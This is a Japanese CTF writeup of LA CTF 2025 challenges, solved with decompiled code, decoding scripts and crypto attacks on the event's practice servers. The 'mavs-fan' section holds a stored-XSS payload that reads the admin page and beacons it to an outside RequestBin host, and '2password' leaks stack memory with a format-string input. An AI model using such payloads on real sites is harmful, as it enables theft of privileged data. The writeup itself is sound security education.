以下の内容はhttps://yocchin.hatenablog.com/entry/2025/02/11/090400より取得しました。


LA CTF 2025 Writeup

この大会は2025/2/8 13:00(JST)~2025/2/10 7:00(JST)に開催されました。
今回もチームで参戦。結果は2382点で933チーム中251位でした。
自分で解けた問題をWriteupとして書いておきます。

rules (welcome)

HomeのページのScoringにフラグが書いてあった。

lactf{my_entire_team_agrees_to_follow_the_rules}

discord (welcome)

Discordに入り、#generalでピン止めされたメッセージを見ると、フラグが書いてあった。

lactf{i_l0v3_3d1t1ng_my_d1sc0rd_msgs}

extended (misc)

スクリプトの処理概要は以下の通り。

・flag: 未知
・extended_flag = ""
・flagの各文字cについて以下を実行
 ・o: cのASCIIコードの2進数文字列で8桁になるよう左を"0"でパディング
 ・oの最初の"0"を"1"に置換
 ・extended_flagにoを2進数としてASCIIコードにし、文字としたものを結合
・chall.txtにextended_flagを書き込み

各文字のASCIIコードの2進数の先頭を"0"にして、文字にしたものを結合すればフラグになる。

#!/usr/bin/env python3
with open('chall.txt', 'rb') as f:
    extended_flag = f.read().decode('iso8859-1')

flag = ''
for c in extended_flag:
    o = bin(ord(c))[2:].zfill(8)
    o = '0' + o[1:]
    flag += chr(int(o, 2))
print(flag)
lactf{Funnily_Enough_This_Looks_Different_On_Mac_And_Windows}

2password (pwn)

usernameに対してFSBがある。

$ ./chall
Enter username: %p,%p.%p,%p,%p,%p
Enter password1: a
Enter password2: c
Incorrect password for user 0x7ffd7be0ff00,(nil).(nil),0x55c5f140289b,0x4,0x676f687b67616c66

6番目にフラグの情報が出てくる。以降、情報を取得してみる。

$ nc chall.lac.tf 31142
Enter username: %6$p,%7$p,%8$p,%9$p
Enter password1: a
Enter password2: b
Incorrect password for user 0x75687b667463616c,0x66635f327265746e,0x7d38367a783063,(nil)
>>> (0x75687b667463616c).to_bytes(8, 'little')
b'lactf{hu'
>>> (0x66635f327265746e).to_bytes(8, 'little')
b'nter2_cf'
>>> (0x7d38367a783063).to_bytes(8, 'little')
b'c0xz68}\x00'
lactf{hunter2_cfc0xz68}

javascryption (rev)

HTMLソースを見ると、cabin.jsへのリンクがある。その内容を見ると以下のようになっている。

const msg = document.getElementById("msg");
const flagInp = document.getElementById("flag");
const checkBtn = document.getElementById("check");

function checkFlag(flag) {
    const step1 = btoa(flag);
    const step2 = step1.split("").reverse().join("");
    const step3 = step2.replaceAll("Z", "[OLD_DATA]");
    const step4 = encodeURIComponent(step3);
    const step5 = btoa(step4);
    return step5 === "JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I=";
}

checkBtn.addEventListener("click", () => {
    const flag = flagInp.value.toLowerCase();
    if (checkFlag(flag)) {
        flagInp.remove();
        checkBtn.remove();
        msg.innerText = flag;
        msg.classList.add("correct");
    } else {
        checkBtn.classList.remove("shake");
        checkBtn.offsetHeight;
        checkBtn.classList.add("shake");
    }
});

checkFlag関数の中でエンコードした後にチェックしているので、逆算していく。
CyberChefで以下の順でデコードする。

・From Base64
・URL Decode
・Find / Replace (Find: \[OLD_DATA\]、Replace: Z)
・Reverse
・From Base64
lactf{no_grizzly_walls_here}

patricks-paraflag (rev)

Ghidraでデコンパイルする。

undefined4 main(void)

{
  int iVar1;
  size_t sVar2;
  size_t sVar3;
  ulong uVar4;
  undefined4 uVar5;
  char local_208 [256];
  char local_108 [256];
  
  printf("What do you think the flag is? ");
  fflush(stdout);
  fgets(local_108,0x100,stdin);
  sVar2 = strcspn(local_108,"\n");
  local_108[sVar2] = '\0';
  sVar3 = strlen(target);
  if (sVar3 == sVar2) {
    if (1 < sVar2) {
      uVar4 = 0;
      do {
        local_208[uVar4 * 2] = local_108[uVar4];
        local_208[uVar4 * 2 + 1] = local_108[uVar4 + (sVar2 >> 1)];
        uVar4 = uVar4 + 1;
      } while (uVar4 < sVar2 >> 1);
    }
    local_208[sVar2] = '\0';
    printf("Paradoxified: %s\n",local_208);
    iVar1 = strcmp(target,local_208);
    if (iVar1 == 0) {
      puts("That\'s the flag! :D");
      uVar5 = 0;
    }
    else {
      puts("You got the flag wrong >:(");
      uVar5 = 0;
    }
  }
  else {
    puts("Bad length >:(");
    uVar5 = 1;
  }
  return uVar5;
}

                             target                                          XREF[3]:     Entry Point(*), main:001011f4(R), 
                                                                                          main:0010125c(R)  
        00104048 28 20 10        addr       s_l_alcotsft{_tihne__ifnlfaign_igt_00102028      = "l_alcotsft{_tihne__ifnlfaign_
                 00 00 00 
                 00 00


                             s_l_alcotsft{_tihne__ifnlfaign_igt_00102028     XREF[3]:     main:001011f4(*), 
                                                                                          main:0010125c(*), 00104048(*)  
        00102028 6c 5f 61        ds         "l_alcotsft{_tihne__ifnlfaign_igtoyt}"
                 6c 63 6f 
                 74 73 66 

1文字ずつ飛ばして、並べればよい。

lactf{the_flag_got_lost_in_infinity}

nine-solves (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  undefined8 uVar2;
  int iVar3;
  long lVar4;
  char local_18 [6];
  char local_12;
  
  puts("Welcome to the Tianhuo Research Center.");
  printf("Please enter your access code: ");
  fflush(stdout);
  fgets(local_18,0x10,stdin);
  lVar4 = 0;
  do {
    uVar1 = (uint)local_18[lVar4];
    if ((0x5e < (byte)(local_18[lVar4] - 0x20U)) || ((&yi)[lVar4] == 0)) goto LAB_0010114c;
    iVar3 = 0;
    while( true ) {
      if ((uVar1 & 1) == 0) {
        uVar1 = uVar1 >> 1;
      }
      else {
        uVar1 = uVar1 * 3 + 1;
      }
      if ((&yi)[lVar4] == iVar3 + 1) break;
      iVar3 = iVar3 + 1;
      if (uVar1 == 1) goto LAB_0010114c;
    }
    if (uVar1 != 1) goto LAB_0010114c;
    lVar4 = lVar4 + 1;
  } while (lVar4 != 6);
  if ((local_12 == '\0') || (local_12 == '\n')) {
    eigong();
    uVar2 = 0;
  }
  else {
LAB_0010114c:
    puts("ACCESS DENIED");
    uVar2 = 1;
  }
  return uVar2;
}

void eigong(void)

{
  FILE *__stream;
  size_t sVar1;
  char acStack_108 [256];
  
  __stream = fopen("flag.txt","rb");
  if (__stream != (FILE *)0x0) {
    fgets(acStack_108,0x100,__stream);
    sVar1 = strcspn(acStack_108,"\n");
    acStack_108[sVar1] = '\0';
    puts(acStack_108);
    return;
  }
  puts("Could not open flag.txt");
  return;
}

                             yi                                              XREF[3]:     Entry Point(*), main:001010e4(*), 
                                                                                          main:001010f7(R)  
        00104040 1b 00 00 00     undefined4 0000001Bh
        00104044 26              ??         26h    &
        00104045 00              ??         00h
        00104046 00              ??         00h
        00104047 00              ??         00h
        00104048 57              ??         57h    W
        00104049 00              ??         00h
        0010404a 00              ??         00h
        0010404b 00              ??         00h
        0010404c 5f              ??         5Fh    _
        0010404d 00              ??         00h
        0010404e 00              ??         00h
        0010404f 00              ??         00h
        00104050 76              ??         76h    v
        00104051 00              ??         00h
        00104052 00              ??         00h
        00104053 00              ??         00h
        00104054 09              ??         09h
        00104055 00              ??         00h
        00104056 00              ??         00h
        00104057 00              ??         00h

main関数のdo while文の中でyiの各値の回数だけ回し、途中でuVar1が1にならず、最後に1になることが必要になっている。ブルートフォースでその条件を満たす文字列を探す。

#!/usr/bin/env python3

counts = [0x1b, 0x26, 0x57, 0x5f, 0x76, 0x09]

access_code = ''
for i in range(6):
    for code in range(32, 127):
        b = code
        error = False
        for j in range(counts[i]):
            if b & 1 == 0:
                b = b >> 1
            else:
                b = b * 3 + 1
            if (j != counts[i] - 1) and (b == 1):
                error = True
                break
        if not error and b == 1:
            access_code += chr(code)
            break

print(access_code)

この結果は以下の通り。

AigyaP

アクセスコードにこれを入力すればよい。

$ nc chall.lac.tf 32223
Welcome to the Tianhuo Research Center.
Please enter your access code: AigyaP
lactf{the_only_valid_solution_is_BigyaP}
lactf{the_only_valid_solution_is_BigyaP}

lucky-flag(web)

HTMLソースを見ると、main.jsへのリンクがある。その内容を見ると以下のようになっている。

const $ = q => document.querySelector(q);
const $a = q => document.querySelectorAll(q);

const boxes = $a('.box');
let flagbox = boxes[Math.floor(Math.random() * boxes.length)];

for (const box of boxes) {
  if (box === flagbox) {
    box.onclick = () => {
      let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`;
      for (let i = 0; i < enc.length; ++i) {
        try {
          enc = JSON.parse(enc);
        } catch (e) { }
      }
      let rw = [];
      for (const e of enc) {
        rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62);
      }
      const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x));
      alert(`Congrats ${x['\x6aoin']('')}`);
    };
    flagbox = null;
  } else {
    box.onclick = () => alert('no flag here');
  }
};

ブラウザのデベロッパーツールのコンソールで値を確認する。

> enc
< '\x0E\x03\x01\x16\x04\x19\x15V\x11=\vU=\x0E\x17\x01\t=R\x10=\x11\t\vSS\x1F'

> let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`;
< undefined
> for (let i = 0; i < enc.length; ++i) {
      try {
          enc = JSON.parse(enc);
      } catch (e) { }
  }
< undefined
> enc
< '\x0E\x03\x01\x16\x04\x19\x15V\x11=\vU=\x0E\x17\x01\t=R\x10=\x11\t\vSS\x1F'
> let rw = [];
< undefined
> for (const e of enc) {
      rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62);
  }
< 27
> rw
< (27) [108, 97, 99, 116, 102, 123, 119, 52, 115, 95, 105, 55, 95, 108, 117, 99, 107, 95, 48, 114, 95, 115, 107, 105, 49, 49, 125]
> const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x));
< undefined
> x['\x6aoin']('')
< 'lactf{w4s_i7_luck_0r_ski11}'
lactf{w4s_i7_luck_0r_ski11}

I spy... (web)

以下のように表示されている。

This token: B218B51749AB9E4C669E4B33122C8AE3

このtokenを入力すると、以下のように表示される。

A token in the HTML source code...

HTMLソースを見ると、コメントに以下のように書いてある。

<!-- Token: 66E7AEBA46293C88D484CDAB0E479268 -->

このtokenを入力すると、以下のように表示される。

A token in the JavaScript console...

デベロッパーツールのコンソールを見ると、以下のように書いてある。

Token: 5D1F98BCEE51588F6A7500C4DAEF8AD6

このtokenを入力すると、以下のように表示される。

A token in the stylesheet...

HTMLソースでリンクされているstyles.cssを見ると、コメントに以下のように書いてある。

/* Token: 29D3065EFED4A6F82F2116DA1784C265 */

このtokenを入力すると、以下のように表示される。

A token in javascript code...

HTMLソースでリンクされているthingy.jsを見ると、コメントに以下のように書いてある。

// Token: 9D34859CA6FC9BB8A57DB4F444CDAE83

このtokenを入力すると、以下のように表示される。

A token in a header...

デベロッパーツールのネットワークで通信のレスポンスヘッダを見ると、以下のように設定されている。

X-Token: BF1E1EAA5C8FDA6D9D0395B6EA075309

このtokenを入力すると、以下のように表示される。

A token in a cookie...

デベロッパーツールのネットワークで通信のリクエストヘッダを見ると、クッキーに以下のように設定されている。

a-token=647E67B4A8F4AA28FAB602151F1707F2

このtokenを入力すると、以下のように表示される。

A token where the robots are forbidden from visiting...

https://i-spy.chall.lac.tf/robots.txtにアクセスすると、以下のように書いてある。

User-agent: *
Disallow: /a-magical-token.txt

https://i-spy.chall.lac.tf/a-magical-token.txtにアクセスすると、以下のように書いてある。

Token: 3FB4C9545A6189DE5DE446D60F82B3AF

このtokenを入力すると、以下のように表示される。

A token where Google is told what pages to visit and index...

https://i-spy.chall.lac.tf/sitemap.xmlにアクセスすると、コメントに以下のように書いてある。

<!--  Token: F1C20B637F1B78A1858A3E62B66C3799  -->

このtokenを入力すると、以下のように表示される。

A token received when making a DELETE request to this page...
$ curl https://i-spy.chall.lac.tf/ -X DELETE 
You DELETED MY WEBSITE!!!!! HOW DARE YOU????? 32BFBAEB91EFF980842D9FA19477A42E

このtokenを入力すると、以下のように表示される。

A token in a TXT record at i-spy.chall.lac.tf...
$ dig -t TXT i-spy.chall.lac.tf

; <<>> DiG 9.19.19-1-Debian <<>> -t TXT i-spy.chall.lac.tf
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24726
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;i-spy.chall.lac.tf.            IN      TXT

;; ANSWER SECTION:
i-spy.chall.lac.tf.     5       IN      TXT     "Token: 7227E8A26FC305B891065FE0A1D4B7D4"

;; Query time: 32 msec
;; SERVER: 192.168.64.2#53(192.168.64.2) (UDP)
;; WHEN: Sat Feb 08 14:24:33 JST 2025
;; MSG SIZE  rcvd: 99

このtokenを入力すると、以下のように表示される。

A Flag! lactf{1_sp0773d_z_t0k3ns_4v3rywh3r3}
lactf{1_sp0773d_z_t0k3ns_4v3rywh3r3}

mavs-fan (web)

以下を入力すると、ポップアップが表示された。XSSの問題と推測できる。

<img src="1" onerror="javascript:alert(1)">

以下を入力し、Admin Botがアクセスしたら/adminのデータをRequestBinのサイトに転送するようにする。

<img src=x onerror='fetch("/admin").then(r=>r.text()).then(z=>navigator.sendBeacon("https://<RequestBinドメイン>/", z))'>

生成された以下のURLにボットからアクセスする。

https://mavs-fan.chall.lac.tf/post/193841d1-229b-4d12-8863-12ae1d85d2b7

RequestBinにアクセスが来ているので、データを見るとフラグがあった。

lactf{m4yb3_w3_sh0u1d_tr4d3_1uk4_f0r_4d}

big e (crypto)

共通のnで異なる2つのeの暗号がわかっているので、Common Modulus Attackで復号する。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

def commom_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

ct_1 =  7003427993343973209633604223157797389179484683813683779456722118278438552981580821629201099609635249903171901413187274301782131604125932440261436398792561279923201353644665062240232628983398769617870021735462687213315384230009597811708620803976743966567909514341685037497925118142192131350408768935124431331080433697691313467918865993755818981120044023483948250730200785386337033076398494691789842346973681951019033860698847693411061368646250415931744527789768875833220281187219666909459057523372182679170829387933194504283746668835390769531217602348382915358689492117524129757929202594190396696326156951763154356777
ct_2 =  2995334251818636287120912468673386461522795145344535560487265325864722413686091982727438605788851631192187299910519824438553287094479216297828199976116043039048528458879462591368580247044838727287694258607151549844079706204392479194688578102781851646467977751150658542264776551648799517340378173131694653270749425410071080383488918100565955153958793977478719703463115004497213753735577027928062856483316183232075922059366731900291340025009516177568909257605255717594938087543899066756942042664781424833498278544829618874970165660669400140113047048269742309745649848573501494088032718459018143817236079173978684104782
e_1 =  49043
e_2 =  60737
n =  9162219874876832806204248523866163938680921861751582550947065673035037752546476053774362284605943422397285024205866696280912237827227700515353007344062472274717294484810421409217463791112287997964358655519896402380272695026012981743782564008035342746214988154836484419372449523768063368280069515180570625408254410932129769708259508451185553774810385066789146531683973766796965747310893648672657945403825359068647151094841570404979930542270681833162424933411724266687320976217446032292107871449464575533610369244978941764470549091443086646932177141081314452355708815370388814214178980532690792441231698974328523197187

m = commom_modulus_attack(ct_1, ct_2, e_1, e_2, n)
flag = long_to_bytes(m).decode()
print(flag)
lactf{b1g_3_but_sm4ll_d!!!_part2_since_i_trolled}

Extremely Convenient Breaker (crypto)

サーバの処理概要は以下の通り。

・key: ランダム16バイト文字列
・flag: 未知文字列
・flag_enc: keyを使ってflagをAES ECBモード暗号化したもの
・flag_encを16進数表記で表示
・以下繰り返し
 ・ecb: 入力
 ・ecb: ecbをhexデコードしたもの
 ・ecbの長さが64バイト以外の場合、エラーメッセージ表示
 ・ecbがflag_encの場合、エラーメッセージ表示
 ・keyを使ってecbをAES ECBモード復号したものを表示

flag_encそのものを指定して復号することはできない。ただECBモードはブロック単位で暗号化し、その順序を入れ替えても暗号結果は変わらない。このため暗号ブロックの順序を入れ替えて復号すればよい。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.lac.tf', 31180))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
flag_enc = bytes.fromhex(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

new_flag_enc = flag_enc[32:] + flag_enc[:32]
new_flag_enc = new_flag_enc.hex()

data = recvuntil(s, b': ')
print(data + new_flag_enc)
s.sendall(new_flag_enc.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

flag = eval(data)
flag = (flag[32:] + flag[:32]).decode()
print(flag)

実行結果は以下の通り。

Here's the encrypted flag in hex:
97ea35015e260c7b24254cad4f72fdadf7de7db2e5dbab3b33d94526acf2308d586bcab196dd8a1efe990930c5a45f2f124041614ae4a7447341eb271dbe7d8d
Alright, lemme spin up my Extremely Convenient Breaker (trademark copyright all rights reserved).
What ciphertext do you want me to break in an extremely convenient manner? Enter as hex: 586bcab196dd8a1efe990930c5a45f2f124041614ae4a7447341eb271dbe7d8d97ea35015e260c7b24254cad4f72fdadf7de7db2e5dbab3b33d94526acf2308d
b'venient_to_get_the_flag_too_heh}lactf{seems_it_was_extremely_con'
lactf{seems_it_was_extremely_convenient_to_get_the_flag_too_heh}
lactf{seems_it_was_extremely_convenient_to_get_the_flag_too_heh}

RSAaaS (crypto)

サーバの処理概要は以下の通り。

・以下繰り返し
 ・p: 数値入力(素数)
 ・q: 数値入力(素数)
 ・pとqは一致しないことをチェック
 ・pが2**63より大きく、2**64より小さいことをチェック
 ・qが2**63より大きく、2**64より小さいことをチェック
 ・繰り返し終了
・n = p * q
・phi = (p - 1) * (q - 1)
・e = 65537
・d = pow(e, -1, phi)
・以下繰り返し
 ・choice: 入力
 ・choiceが"1"の場合
  ・msg: 数値入力
  ・encrypted = pow(msg, e, n)
  ・encryptedを表示
 ・choiceが"2"の場合
  ・ct: 数値入力
  ・decrypted = pow(ct, d, n)
  ・decryptedを表示
・例外が発生した場合、フラグを表示

この例外が発生するパターンを考えると、以下の処理で例外が発生する場合が該当する。

d = pow(e, -1, phi)

phiとeのGCDが1より大きい場合に例外が発生する。つまりpまたはqがeの倍数+1の場合に例外が発生するので、素数であることを満たしながら該当するものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy import *

e = 65537
p = 2**63
while True:
    p = nextprime(p)
    if GCD(p - 1, e) > 1:
        break

q = getPrime(64)

print('p =', p)
print('q =', q)

実行結果は以下の通り。

p = 9223372036859527241
q = 10324681410299468171

この値を指定すればよい。

$ nc chall.lac.tf 31176
Welcome to my RSA as a Service! 
Pass me two primes and I'll do the rest for you. 
Let's keep the primes at a 64 bit size, please. 
Input p: 9223372036859527241
Input q: 10324681410299468171
Oh no! My service! Please don't give us a bad review! 
Here, have a complementary flag for your troubles. 
lactf{actually_though_whens_the_last_time_someone_checked_for_that}
lactf{actually_though_whens_the_last_time_someone_checked_for_that}

bigram-times (crypto)

暗号化処理の概要は以下の通り。

・characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}~_"
・flag: 未知文字列
・shifted_flag = ""
・flagを2バイトごとに以下の処理を実行
 ・bigram: flagの2バイト
 ・shifted_bigram = bigram_multiplicative_shift(bigram)
  ・pos1: bigram[0]のcharactersのインデックス + 1
  ・pos2: bigram[1]のcharactersのインデックス + 1
  ・shift = (pos1 * pos2) % 67
  ・characters[((pos1 * shift) % 67) - 1] + characters[((pos2 * shift) % 67) - 1]を返却
 ・shifted_flagにshifted_bigramを結合
・shifted_flagを出力

2文字をブルートフォースして復号する。ただし、暗号に対して平文が複数あるので、可能性があるものをリストする。

#!/usr/bin/env python3
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}~_"

def bigram_multiplicative_shift(bigram):
    assert(len(bigram) == 2)
    pos1 = characters.find(bigram[0]) + 1
    pos2 = characters.find(bigram[1]) + 1
    shift = (pos1 * pos2) % 67
    return characters[((pos1 * shift) % 67) - 1] + characters[((pos2 * shift) % 67) - 1]

dic = {}
for c1 in characters:
    for c2 in characters:
        pt = c1 + c2
        ct = bigram_multiplicative_shift(pt)
        if ct not in dic:
            dic[ct] = [pt]
        else:
            dic[ct] += [pt]

enc = 'jlT84CKOAhxvdrPQWlWT6cEVD78z5QREBINSsU50FMhv662W'
for i in range(0, len(enc), 2):
    print(i, dic[enc[i:i+2]])

実行結果は以下の通り。

0 ['la', 'mC', 'PK']
2 ['ct', 'tR', 'Rc']
4 ['f{', 'u0', 'Nr']
6 ['l}', 'mU', 'Pw']
8 ['D8', 'LT', '_A']
10 ['y9', '1p', '23']
12 ['l1', 'my', 'P2']
14 ['cA', 'tT', 'R8']
16 ['c~', 'ti', 'R7']
18 ['H9', 'V3', 'Zp']
20 ['DM', 'LJ', '_6']
22 ['c{', 'tr', 'R0']
24 ['fl', 'uP', 'Nm']
26 ['qL', 'xD', 'z_']
28 ['F{', 'S0', '4r']
30 ['hD', 'BL', 'E_']
32 ['pt', '3c', '9R']
34 ['hi', 'B~', 'E7']
36 ['i1', '7y', '~2']
38 ['Db', 'Lg', '_5']
40 ['we', 'UY', '}k']
42 ['pR', '3t', '9c']
44 ['ii', '77', '~~']
46 ['iU', '7w', '~}']

コードにある以下の文字列の2バイト単位の文字列はフラグとして使われないということのようなので、それを取り除けばよい。

not_the_flag = "mCtRNrPw_Ay9mytTR7ZpLJtrflqLS0BLpthi~2LgUY9cii7w"
also_not_the_flag = "PKRcu0l}D823P2R8c~H9DMc{NmxDF{hD3cB~i1Db}kpR77iU"
0 ['la', 'mC', 'PK']  -> la
2 ['ct', 'tR', 'Rc']  -> ct
4 ['f{', 'u0', 'Nr']  -> f{
6 ['l}', 'mU', 'Pw']  -> mU
8 ['D8', 'LT', '_A']  -> LT
10 ['y9', '1p', '23'] -> 1p
12 ['l1', 'my', 'P2'] -> l1
14 ['cA', 'tT', 'R8'] -> cA
16 ['c~', 'ti', 'R7'] -> ti
18 ['H9', 'V3', 'Zp'] -> V3
20 ['DM', 'LJ', '_6'] -> _6
22 ['c{', 'tr', 'R0'] -> R0
24 ['fl', 'uP', 'Nm'] -> uP
26 ['qL', 'xD', 'z_'] -> z_
28 ['F{', 'S0', '4r'] -> 4r
30 ['hD', 'BL', 'E_'] -> E_
32 ['pt', '3c', '9R'] -> 9R
34 ['hi', 'B~', 'E7'] -> E7
36 ['i1', '7y', '~2'] -> 7y
38 ['Db', 'Lg', '_5'] -> _5
40 ['we', 'UY', '}k'] -> we
42 ['pR', '3t', '9c'] -> 3t
44 ['ii', '77', '~~'] -> ~~
46 ['iU', '7w', '~}'] -> ~}
lactf{mULT1pl1cAtiV3_6R0uPz_4rE_9RE77y_5we3t~~~}

feedback (welcome)

アンケートの回答を送信した後に、最後のページで「正解度を表示」をクリックする。この画面で入力したアンケートの回答が表示され、フィードバックにフラグが書いてあった。

lactf{thx_4_z_f33db4ck}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/02/11/090400より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14